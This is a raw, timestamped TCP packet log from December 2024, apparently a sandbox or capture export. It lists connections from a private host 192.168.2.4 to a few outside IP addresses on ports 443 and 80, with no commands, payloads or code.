Dec 20, 2024 09:12:56.112967014 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.112993956 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.124998093 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.125045061 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.125086069 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.125096083 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.125118017 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.125132084 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.135205030 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.135252953 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.135282993 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.135292053 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.135323048 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.135344028 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.146980047 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.147030115 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.147053957 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.147063971 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.147088051 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.147100925 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.257675886 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.257700920 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.257764101 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.257782936 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.257797956 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.261187077 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.264898062 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.264921904 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.265031099 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.265042067 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.265160084 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.273255110 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.273277044 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.273355961 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.273377895 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.273415089 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.280251026 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.280272961 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.280354977 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.280370951 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.280414104 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.288233042 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.288289070 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.288346052 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.288355112 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.288424969 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.295465946 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.295512915 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.295542002 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.295550108 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.295593977 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.303462029 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.303524017 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.303550959 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.303558111 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.303601027 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.311135054 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.311198950 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.311204910 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.311227083 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.311258078 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.311279058 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.393205881 CET	80	49893	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:56.394376993 CET	49893	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:56.397206068 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:56.397627115 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:56.450162888 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.450195074 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.450225115 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.450246096 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.450272083 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.450284004 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.455455065 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.455497026 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.455538034 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.455548048 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.455571890 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.455588102 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.462661982 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.462697029 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.462728024 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.462768078 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.462784052 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.462821960 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.469727993 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.469749928 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.469798088 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.469805956 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.469831944 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.469851971 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.475960016 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.475996017 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.476027966 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.476037979 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.476067066 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.476078033 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.483688116 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.483716011 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.483752966 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.483761072 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.483786106 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.483798027 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.490046978 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.490092039 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.490108967 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.490117073 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.490149975 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.490175962 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.497256994 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.497304916 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.497332096 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.497339964 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.497378111 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.517219067 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:56.517235041 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:56.517374039 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:56.517390966 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:56.517570019 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:56.637650967 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:56.642088890 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.642123938 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.642187119 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.642241955 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.642258883 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.642292976 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.647643089 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.647680998 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.647720098 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.647730112 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.647758961 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.647770882 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.654695988 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.654720068 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.654767036 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.654776096 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.654789925 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.654814959 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.661787987 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.661812067 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.661861897 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.661873102 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.662025928 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.669151068 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.669203997 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.669233084 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.669241905 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.669270039 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.669292927 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.675929070 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.675985098 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.676012993 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.676023960 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.676043034 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.676228046 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.682122946 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.682167053 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.682210922 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.682219028 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.682240963 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.682265043 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.689305067 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.689347982 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.689388990 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.689398050 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.689434052 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.834184885 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.834244013 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.834285021 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.834311962 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.834326029 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.834347963 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.839555979 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.839576960 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.839622021 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.839636087 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.839653969 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.839673042 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.846801043 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.846822023 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.846856117 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.846868992 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.846898079 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.846913099 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.853972912 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.853995085 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.854042053 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.854058981 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.854079008 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.854095936 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.860318899 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.860342979 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.860383987 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.860393047 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.860409021 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.860428095 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.867919922 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.867965937 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.868016005 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.868025064 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.868052006 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.868072987 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.874257088 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.874303102 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.874330997 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.874341011 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.874382973 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.874382973 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.881439924 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.881558895 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.881580114 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.881589890 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.881612062 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.881637096 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.025861979 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.025930882 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.025948048 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.025969028 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.025985003 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.027069092 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.032301903 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.032351971 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.032387018 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.032396078 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.032418013 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.032433033 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.039495945 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.039518118 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.039583921 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.039592981 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.039633036 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.046077967 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.046097994 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.046150923 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.046159983 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.046185017 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.046197891 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.052926064 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.052947998 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.052998066 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.053006887 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.053055048 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.059726954 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.059746981 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.059788942 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.059797049 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.059811115 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.059833050 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.066776991 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.066821098 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.066853046 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.066868067 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.066885948 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.066910982 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.074045897 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.074088097 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.074127913 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.074136019 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.074168921 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.074189901 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.217993975 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.218024969 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.218090057 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.218117952 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.218133926 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.218154907 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.224567890 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.224591970 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.224651098 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.224678040 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.224700928 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.224740028 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.230817080 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.230839014 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.230894089 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.230902910 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.230935097 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.230952024 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.238058090 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.238085032 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.238142014 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.238152981 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.238188982 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.238199949 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.245148897 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.245170116 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.245223045 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.245233059 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.245279074 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.251841068 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.251861095 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.251931906 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.251940966 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.251976013 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.259109974 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.259130001 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.259191036 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.259198904 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.259248018 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.265434027 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.265455008 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.265531063 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.265543938 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.265583992 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.410070896 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.410093069 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.410171032 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.410203934 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.410249949 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.416546106 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.416565895 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.416639090 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.416650057 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.416691065 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.423003912 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.423024893 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.423073053 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.423086882 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.423136950 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.430201054 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.430222988 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.430310011 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.430320024 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.430358887 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.437174082 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.437195063 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.437261105 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.437271118 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.437300920 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.437319040 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.437843084 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.444015026 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.444041967 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.444077969 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.444087982 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.444108963 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.444122076 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.451137066 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.451164961 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.451200008 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.451208115 CET	443	49889	185.199.110.133	192.168.2.4
